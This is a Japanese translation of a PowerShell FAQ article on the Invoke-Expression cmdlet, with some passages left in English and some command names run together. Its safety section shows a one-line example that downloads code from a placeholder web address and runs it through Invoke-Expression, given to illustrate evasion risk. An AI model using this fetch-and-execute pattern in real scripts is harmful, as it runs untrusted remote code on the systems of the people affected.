Invoke-Expression:利点、欠点、およびベストプラクティス

Invoke-Expression PowerShellコマンドレットは、使用する場合と使用しない場合を誤解しやすいものです。この記事では、いくつかのトップFAQをまとめました。それらを分解し、必要に応じて参照できるように、たくさんの有用な例を含めました。ですので、今すぐこのページをブックマークしてください!

このようなヒントがもっと欲しいですか?私の個人的なPowerShellブログもチェックしてみてください:https://www.nkasco.com/

Invoke-Expressionとは何ですか?

公式の説明(Microsoftによる)によると、「Invoke-Expressionコマンドレットは、指定した文字列を評価または実行し、式またはコマンドの結果を返します。 Invoke-Expressionを使用しないと、コマンドラインに提出された文字列は変更されずに返されます(エコーされます)」となっています。

言い換えると、スクリプト内のコードを呼び出すためや、後で実行するためのコマンドを構築するために便利です。また、ユーザーからの入力と慎重に組み合わせて使用することもできます。

Invoke-Expressionの使用のもっとも基本的な例は、スクリプトを定義し、その文字列をCommandパラメータに渡すことです。そして、Invoke-Expressionはその文字列を実行します。

# Invoke-Expressionを使用してPowerShellコマンドを実行する
$Command = 'Get-Process'
Invoke-Expression -Command $Command

# Invoke-Expressionを使用してスクリプトを実行する
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript

スクリプトのパスにスペースがある場合はどうすれば良いですか?

文字列をシングルクォーテーションまたはダブルクォーテーションで囲んでください。

例えば、パスにスペースが含まれる文字列を実行したい場合、これらのオプションは機能しません:

# これらは機能しません
$MyScript = "C:\Folder Path\MyScript.ps1"
#または
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript

なぜなら、これはPowerShellコンソールに直接入力するのとまったく同じだからです:

PS51> C:\Folder Path\MyScript.ps1

ただし、パスの部分をシングルクォーテーションまたはダブルクォーテーションで囲み、全体の文字列を引用符で囲むと、Invoke-Expressionは期待どおりにスクリプトを実行します。

$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript

Q. How do you pass parameters to scripts invoked with Invoke-Expression?

Invoke-ExpressionにはCommandという唯一のパラメーターがあります。パラメーターをInvoke-Expressionで直接渡す方法はありません。ただし、代わりに、Commandパラメーターに渡す文字列にパラメーターを含めることができます。

たとえば、PathForceという2つのパラメーターを持つスクリプトがあるとします。このスクリプトを通常のコンソール経由で呼び出す場合、

次のような形でスクリプトを呼び出す場合、

PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force

その行全体を文字列で囲み、その文字列をCommandパラメーターに渡す必要があります。

$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# または
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string

Invoke-Expressionとtry/catch文を組み合わせて使用することはあまり意味がありません。

代わりに、エラーハンドリングはCommandパラメータ内で行う必要があります。

例:

# これは動作しません - Invoke-Expressionはグローバルなエラーハンドラーとして機能しません!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}

Invoke-Expressionと呼び出し演算子(&)の違いは何ですか?

呼び出し演算子(&)は、コマンド、スクリプト、またはスクリプトブロックを素早く実行するために使用できます。ただし、呼び出し演算子はコマンドを解析できません。これに対して、Invoke-Expressionはコマンドパラメータを解釈することができます。

例えば、Get-Processコマンドレットを使用してPowerShell Coreプロセスを取得したい場合、Get-Process -ProcessName pwshというコードを使用します。呼び出し演算子を使用してGet-Processとパラメータを連結すると、期待どおりに動作しません。

$a = "Get-Process"

## これは動作しません
& "$a pwsh"

しかし、Invoke-Expressionを使ってこの文字列を実行すると、期待どおりに動作します。

Invoke-Expression "$a pwsh"

Invoke-ExpressionとStart-Processの違いは何ですか?

Start-Processコマンドレットは、返されたオブジェクトに戻り値または終了コードを提供します。呼び出されたプロセスが完了するのを待つことができ、異なるWindowsの資格情報でプロセスを起動することもできます。Invoke-Expressionは素早く簡単ですが、Start-Processは実行されたプロセスの結果を解釈するのにより便利です。

Invoke-ExpressionInvoke-Commandの違いは何ですか?

Invoke-Expressionは文字列を実行可能なコードに「変換」するだけです。一方、Invoke-CommandPowerShellリモーティングを活用し、ローカルまたはリモートのコンピュータ上でコードを実行する能力を提供します。

Invoke-Commandは、実行するコマンドを今書いている場合に好まれます。IDEでインテリセンスが保持されるためです。一方、Invoke-Expressionは現在のスクリプト内から別のスクリプトを呼び出す場合に好まれます。

例:

#これらは同じ方法で動作しますが、Invoke-Expressionの例ではインテリセンスが失われました。
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"

Invoke-ExpressionInvoke-Itemの違いは何ですか?

Invoke-Itemコマンドは、デフォルトアクションでドキュメントを複数のパスで開くためのインラインサポートを提供します。追加のセキュリティのための確認や、含める、除外する、資格情報を追加するためのパラメータも用意されています。

Invoke-Expressionは安全ですか?

A. If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. Invoke-Expression will happily execute whatever text is passed to it’s Command parameter.

例:

$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command

複数のコマンド/式を実行するためのベストプラクティスは何ですか?

複数のコマンドを実行する場合は、Invoke-Expressionは文字列ではなく配列を受け入れることはできませんが、PowerShellパイプラインを使用してオブジェクトを1つずつパイプラインに送信することができます。

例:

# 動作しません
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# 動作します
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression

Invoke-Expressionをユーザー入力とともに使用する方法はどうすればいいですか?

ユーザー入力とInvoke-Expressionを安全に組み合わせるためには注意が必要です。ユーザーにプロンプトを提供し、意図したコマンドの範囲外にアクセスできるようにすると、望ましくない脆弱性が発生する可能性があります。次のようにして、Invoke-Expressionを安全に実装する方法があります。

do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    # ここでユーザー入力を検証してから処理を続行します
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" # ここでは$Responseを使用しないでください
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command

結論

各コマンドレットにはそれぞれの役割があり、Invoke-Expressionもほぼすべての人がある時点で遭遇するものです。よく使用されるコマンドレットの利点と欠点を理解し、成功への道筋を立てる方法で実装することが重要です。あなた自身の課題を解決するためにInvoke-Expressionをどのように使用したか興味がありますので、以下にコメントを残してストーリーを共有してください!

このようなヒントをもっと見たいですか?私の個人的なPowerShellブログをチェックしてください:https://www.nkasco.com/

さらなる読み物

Source:
https://adamtheautomator.com/invoke-expression/